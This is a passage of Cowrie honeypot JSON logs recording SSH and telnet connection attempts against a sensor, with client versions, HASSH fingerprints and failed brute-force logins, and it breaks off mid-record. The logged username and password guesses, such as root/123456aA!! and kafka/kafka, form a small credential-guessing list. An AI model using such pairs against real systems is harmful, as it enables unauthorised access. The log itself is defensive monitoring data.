{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:19.722913Z","src_ip":"165.154.137.186","session":"3ec97794ea64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.9782178401947021,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:19.772506Z","src_ip":"47.237.206.80","session":"7ae307c2c5ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:20.631166Z","src_ip":"47.237.206.80","session":"7d65cba206c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38572,"dst_ip":"159.203.135.109","dst_port":23,"session":"4daf88238ee8","protocol":"telnet","message":"New connection: 107.6.151.170:38572 (159.203.135.109:23) [session: 4daf88238ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:21.082253Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40104,"dst_ip":"159.203.135.109","dst_port":23,"session":"224ac5bbbf22","protocol":"telnet","message":"New connection: 107.6.151.170:40104 (159.203.135.109:23) [session: 224ac5bbbf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:21.091365Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":55654,"dst_ip":"159.203.135.109","dst_port":22,"session":"9339beef4400","protocol":"ssh","message":"New connection: 85.198.19.241:55654 (159.203.135.109:22) [session: 9339beef4400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:25.650178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:27.522247Z","src_ip":"85.198.19.241","session":"9339beef4400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:27.526166Z","src_ip":"85.198.19.241","session":"9339beef4400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiv","password":"shiv@123","message":"login attempt [shiv/shiv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:28.539049Z","src_ip":"85.198.19.241","session":"9339beef4400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:29.708452Z","src_ip":"85.198.19.241","session":"9339beef4400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":35858,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4286f68723f","protocol":"ssh","message":"New connection: 103.216.145.2:35858 (10.17.0.5:22) [session: d4286f68723f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:42.153234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:42.158287Z","src_ip":"103.216.145.2","session":"d4286f68723f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:42.355232Z","src_ip":"103.216.145.2","session":"d4286f68723f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15","message":"login attempt [root/15] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:43.178802Z","src_ip":"103.216.145.2","session":"d4286f68723f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:44.377058Z","src_ip":"103.216.145.2","session":"d4286f68723f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34936,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b71d8a562d","protocol":"telnet","message":"New connection: 128.199.8.54:34936 (159.203.135.109:23) [session: 76b71d8a562d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:52.288678Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":39422,"dst_ip":"10.17.0.5","dst_port":22,"session":"f45d9fd94a45","protocol":"ssh","message":"New connection: 38.148.249.2:39422 (10.17.0.5:22) [session: f45d9fd94a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:57.228550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:57.237899Z","src_ip":"38.148.249.2","session":"f45d9fd94a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:57.308242Z","src_ip":"38.148.249.2","session":"f45d9fd94a45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aA!!","message":"login attempt [root/123456aA!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:57.623637Z","src_ip":"38.148.249.2","session":"f45d9fd94a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:58.703337Z","src_ip":"38.148.249.2","session":"f45d9fd94a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45862,"dst_ip":"10.17.0.5","dst_port":22,"session":"198647306281","protocol":"ssh","message":"New connection: 165.154.137.186:45862 (10.17.0.5:22) [session: 198647306281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:04.889037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:04.900689Z","src_ip":"165.154.137.186","session":"198647306281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:05.200519Z","src_ip":"165.154.137.186","session":"198647306281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:06.067845Z","src_ip":"165.154.137.186","session":"198647306281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:07.337654Z","src_ip":"165.154.137.186","session":"198647306281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57548,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7d41e1db65","protocol":"ssh","message":"New connection: 80.66.85.226:57548 (10.17.0.5:22) [session: 9b7d41e1db65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.004559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.018550Z","src_ip":"80.66.85.226","session":"9b7d41e1db65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.113333Z","src_ip":"80.66.85.226","session":"9b7d41e1db65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":47491,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d166f4630c","protocol":"ssh","message":"New connection: 170.80.65.140:47491 (10.17.0.5:22) [session: 46d166f4630c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.323651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.328129Z","src_ip":"170.80.65.140","session":"46d166f4630c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19733791","message":"login attempt [root/19733791] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.382831Z","src_ip":"80.66.85.226","session":"9b7d41e1db65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.453280Z","src_ip":"170.80.65.140","session":"46d166f4630c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dat","password":"123456","message":"login attempt [dat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:16.984283Z","src_ip":"170.80.65.140","session":"46d166f4630c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:17.475095Z","src_ip":"80.66.85.226","session":"9b7d41e1db65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:18.111956Z","src_ip":"170.80.65.140","session":"46d166f4630c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52830,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f4b4e1f709","protocol":"ssh","message":"New connection: 165.154.137.186:52830 (10.17.0.5:22) [session: 59f4b4e1f709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:21.965171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:21.970660Z","src_ip":"165.154.137.186","session":"59f4b4e1f709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:22.226486Z","src_ip":"165.154.137.186","session":"59f4b4e1f709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:22.998004Z","src_ip":"165.154.137.186","session":"59f4b4e1f709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:24.256471Z","src_ip":"165.154.137.186","session":"59f4b4e1f709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.84.227.218","src_port":52988,"dst_ip":"10.17.0.5","dst_port":23,"session":"43871358eec9","protocol":"telnet","message":"New connection: 47.84.227.218:52988 (10.17.0.5:23) [session: 43871358eec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:25.864256Z"}
{"eventid":"cowrie.session.closed","duration":0.2473907470703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:26.111474Z","src_ip":"47.84.227.218","session":"43871358eec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.84.227.218","src_port":53026,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3bea3a6e48e","protocol":"telnet","message":"New connection: 47.84.227.218:53026 (10.17.0.5:23) [session: b3bea3a6e48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:26.345865Z"}
{"eventid":"cowrie.session.closed","duration":0.23929786682128906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:26.585056Z","src_ip":"47.84.227.218","session":"b3bea3a6e48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":43412,"dst_ip":"10.17.0.5","dst_port":22,"session":"de479142317b","protocol":"ssh","message":"New connection: 43.153.12.68:43412 (10.17.0.5:22) [session: de479142317b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:27.026800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:27.034737Z","src_ip":"43.153.12.68","session":"de479142317b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm